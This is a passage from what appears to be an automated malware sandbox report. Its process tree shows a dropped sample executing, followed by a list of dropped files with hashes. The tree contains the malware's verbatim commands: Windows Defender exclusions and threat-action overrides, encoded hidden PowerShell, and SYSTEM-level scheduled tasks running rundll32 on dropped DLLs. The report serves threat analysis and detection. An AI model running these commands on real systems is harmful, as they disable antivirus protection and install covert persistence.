                                                                                                                                              PID:5336
                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                                                                                                                              3⤵
                                                                                                                                                PID:4492
                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                                                                                                                                3⤵
                                                                                                                                                  PID:6840
                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                                                                                                                                  3⤵
                                                                                                                                                    PID:6252
                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                                                                                                                    3⤵
                                                                                                                                                      PID:6708
                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                                                                                                                      3⤵
                                                                                                                                                        PID:2876
                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                                                                                                                        3⤵
                                                                                                                                                          PID:6860
                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                                                                                                                          3⤵
                                                                                                                                                            PID:5440
                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
                                                                                                                                                            3⤵
                                                                                                                                                              PID:4900
                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
                                                                                                                                                              3⤵
                                                                                                                                                                PID:2468
                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                3⤵
                                                                                                                                                                  PID:6628
                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                  3⤵
                                                                                                                                                                    PID:368
                                                                                                                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ARTXeDTAxvUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ARTXeDTAxvUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ByWuwrOBU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ByWuwrOBU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\DUGaRsFaSnqjC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\DUGaRsFaSnqjC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\RVqmAwyyxwiU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\RVqmAwyyxwiU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ZNFwAtDdLFAMCeemzDR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ZNFwAtDdLFAMCeemzDR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\wGkeBUkfAIhWvVVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\wGkeBUkfAIhWvVVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\ofqvFcNvzeRditbz\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\ofqvFcNvzeRditbz\" /t REG_DWORD /d 0 /reg:64;"
                                                                                                                                                                  2⤵
                                                                                                                                                                  • Modifies data under HKEY_USERS
                                                                                                                                                                  PID:6772
                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ARTXeDTAxvUn" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                    3⤵
                                                                                                                                                                      PID:5316
                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ARTXeDTAxvUn" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                        4⤵
                                                                                                                                                                          PID:3516
                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ARTXeDTAxvUn" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                        3⤵
                                                                                                                                                                          PID:5600
                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ByWuwrOBU" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                          3⤵
                                                                                                                                                                            PID:2264
                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ByWuwrOBU" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                            3⤵
                                                                                                                                                                              PID:6660
                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DUGaRsFaSnqjC" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                              3⤵
                                                                                                                                                                                PID:7056
                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DUGaRsFaSnqjC" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                3⤵
                                                                                                                                                                                  PID:5196
                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RVqmAwyyxwiU2" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                  3⤵
                                                                                                                                                                                    PID:5068
                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\RVqmAwyyxwiU2" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                    3⤵
                                                                                                                                                                                      PID:4120
                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZNFwAtDdLFAMCeemzDR" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                      3⤵
                                                                                                                                                                                        PID:5404
                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZNFwAtDdLFAMCeemzDR" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                        3⤵
                                                                                                                                                                                          PID:5440
                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\wGkeBUkfAIhWvVVB /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                          3⤵
                                                                                                                                                                                            PID:5936
                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\wGkeBUkfAIhWvVVB /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                            3⤵
                                                                                                                                                                                              PID:4900
                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                              3⤵
                                                                                                                                                                                                PID:676
                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                3⤵
                                                                                                                                                                                                  PID:5844
                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                    PID:4816
                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                      PID:5232
                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\ofqvFcNvzeRditbz /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                        PID:5860
                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\ofqvFcNvzeRditbz /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                          PID:5140
                                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                        schtasks /CREATE /TN "gHVKqwbnx" /SC once /ST 08:25:17 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                        • Creates scheduled task(s)
                                                                                                                                                                                                        PID:4564
                                                                                                                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                            PID:2364
                                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                          schtasks /run /I /tn "gHVKqwbnx"
                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                            PID:4468
                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                            schtasks /DELETE /F /TN "gHVKqwbnx"
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                              PID:740
                                                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                              schtasks /CREATE /TN "BAnwxolbGpCzXNxkj" /SC once /ST 14:46:49 /RU "SYSTEM" /TR "\"C:\Windows\Temp\ofqvFcNvzeRditbz\sCLSBctEBYVgufH\thbeaQO.exe\" XT /ADsite_idNAH 385118 /S" /V1 /F
                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                              PID:6188
                                                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                              schtasks /run /I /tn "BAnwxolbGpCzXNxkj"
                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                PID:4852
                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe
                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe
                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                              PID:5560
                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe
                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe
                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                PID:2204
                                                                                                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                                                                                                                                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                  PID:6476
                                                                                                                                                                                                                  • C:\Windows\system32\gpupdate.exe
                                                                                                                                                                                                                    "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                      PID:3804
                                                                                                                                                                                                                  • \??\c:\windows\system32\svchost.exe
                                                                                                                                                                                                                    c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc
                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                      PID:4352
                                                                                                                                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                      C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                        PID:2380
                                                                                                                                                                                                                      • \??\c:\windows\system32\gpscript.exe
                                                                                                                                                                                                                        gpscript.exe /RefreshSystemParam
                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                          PID:6036
                                                                                                                                                                                                                        • C:\Windows\Temp\ofqvFcNvzeRditbz\sCLSBctEBYVgufH\thbeaQO.exe
                                                                                                                                                                                                                          C:\Windows\Temp\ofqvFcNvzeRditbz\sCLSBctEBYVgufH\thbeaQO.exe XT /ADsite_idNAH 385118 /S
                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                            PID:4260
                                                                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                              schtasks /DELETE /F /TN "bWycNackLSywaqkmgR"
                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                PID:164
                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &
                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                  PID:5888
                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                    forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                      PID:6676
                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                          PID:672
                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                            powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                              PID:5396
                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                                                                                                                                "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                  PID:4816
                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                          schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\ByWuwrOBU\uJhQig.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "qbSDwEgyNYPZlGA" /V1 /F
                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                          • Creates scheduled task(s)
                                                                                                                                                                                                                                          PID:356
                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                          schtasks /CREATE /TN "qbSDwEgyNYPZlGA2" /F /xml "C:\Program Files (x86)\ByWuwrOBU\gLhtNmR.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                          • Creates scheduled task(s)
                                                                                                                                                                                                                                          PID:6368
                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                          schtasks /END /TN "qbSDwEgyNYPZlGA"
                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                            PID:4852
                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                            schtasks /DELETE /F /TN "qbSDwEgyNYPZlGA"
                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                              PID:6696
                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                              schtasks /CREATE /TN "yJQYurcljWrTFb" /F /xml "C:\Program Files (x86)\RVqmAwyyxwiU2\ggvzURi.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                              PID:5264
                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                              schtasks /CREATE /TN "MrNSpwukvDtlP2" /F /xml "C:\ProgramData\wGkeBUkfAIhWvVVB\WhzLuOi.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                              PID:6392
                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                              schtasks /CREATE /TN "qnWLzqfHNJaEQUiUn2" /F /xml "C:\Program Files (x86)\ZNFwAtDdLFAMCeemzDR\KOgmZzD.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                              PID:6456
                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                              schtasks /CREATE /TN "FBXQMyjqJGqSqkHthaW2" /F /xml "C:\Program Files (x86)\DUGaRsFaSnqjC\zRfsvXC.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                              PID:1480
                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                              schtasks /CREATE /TN "QhciBzJOokLnyYZub" /SC once /ST 10:46:35 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\ofqvFcNvzeRditbz\wTihKQdr\yFfBiJZ.dll\",#1 /fesite_idqYE 385118" /V1 /F
                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                              PID:5140
                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                              schtasks /run /I /tn "QhciBzJOokLnyYZub"
                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                PID:2100
                                                                                                                                                                                                                                                • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                    PID:6216
                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                  schtasks /DELETE /F /TN "BAnwxolbGpCzXNxkj"
                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                    PID:6708
                                                                                                                                                                                                                                                • C:\Windows\system32\DllHost.exe
                                                                                                                                                                                                                                                  C:\Windows\system32\DllHost.exe /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E}
                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                    PID:5336
                                                                                                                                                                                                                                                  • C:\Windows\windefender.exe
                                                                                                                                                                                                                                                    C:\Windows\windefender.exe
                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                      PID:5280
                                                                                                                                                                                                                                                    • \??\c:\windows\system32\rundll32.EXE
                                                                                                                                                                                                                                                      c:\windows\system32\rundll32.EXE "C:\Windows\Temp\ofqvFcNvzeRditbz\wTihKQdr\yFfBiJZ.dll",#1 /fesite_idqYE 385118
                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                        PID:7148
                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                          c:\windows\system32\rundll32.EXE "C:\Windows\Temp\ofqvFcNvzeRditbz\wTihKQdr\yFfBiJZ.dll",#1 /fesite_idqYE 385118
                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                            PID:4816
                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                              schtasks /DELETE /F /TN "QhciBzJOokLnyYZub"
                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                PID:1772
                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe
                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe
                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                              PID:6136

                                                                                                                                                                                                                                                            Network

                                                                                                                                                                                                                                                                  MITRE ATT&CK Enterprise v15

                                                                                                                                                                                                                                                                  Replay Monitor

                                                                                                                                                                                                                                                                  Loading Replay Monitor...

                                                                                                                                                                                                                                                                  Downloads

                                                                                                                                                                                                                                                                  • C:\Program Files (x86)\GameServerClient\GameServerClient.exe

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    2.5MB

                                                                                                                                                                                                                                                                    MD5

                                                                                                                                                                                                                                                                    bf4360d76b38ed71a8ec2391f1985a5f

                                                                                                                                                                                                                                                                    SHA1

                                                                                                                                                                                                                                                                    57d28dc8fd4ac052d0ae32ca22143e7b57733003

                                                                                                                                                                                                                                                                    SHA256

                                                                                                                                                                                                                                                                    4ebec636d15203378e15cc11967d00cbd17e040db1fca85cf3c10bbf7451adaf

                                                                                                                                                                                                                                                                    SHA512

                                                                                                                                                                                                                                                                    7b46bc87dc384d8227adf5b538861165fa9efa18e28f2de5c1a1bb1a3a9f6bef29b449706c4d8e637ae9805bb51c8548cb761facf82d1c273d3e3699ae727acd

                                                                                                                                                                                                                                                                  • C:\Program Files (x86)\GameServerClient\GameService.exe

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    288KB

                                                                                                                                                                                                                                                                    MD5

                                                                                                                                                                                                                                                                    d9ec6f3a3b2ac7cd5eef07bd86e3efbc

                                                                                                                                                                                                                                                                    SHA1

                                                                                                                                                                                                                                                                    e1908caab6f938404af85a7df0f80f877a4d9ee6

                                                                                                                                                                                                                                                                    SHA256

                                                                                                                                                                                                                                                                    472232ca821b5c2ef562ab07f53638bc2cc82eae84cea13fbe674d6022b6481c

                                                                                                                                                                                                                                                                    SHA512

                                                                                                                                                                                                                                                                    1b6b8702dca3cb90fe64c4e48f2477045900c5e71dd96b84f673478bab1089febfa186bfc55aebd721ca73db1669145280ebb4e1862d3b9dc21f712cd76a07c4

                                                                                                                                                                                                                                                                  • C:\Program Files (x86)\GameServerClient\installg.bat

                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                    238B

                                                                                                                                                                                                                                                                    MD5

                                                                                                                                                                                                                                                                    b6b57c523f3733580d973f0f79d5c609

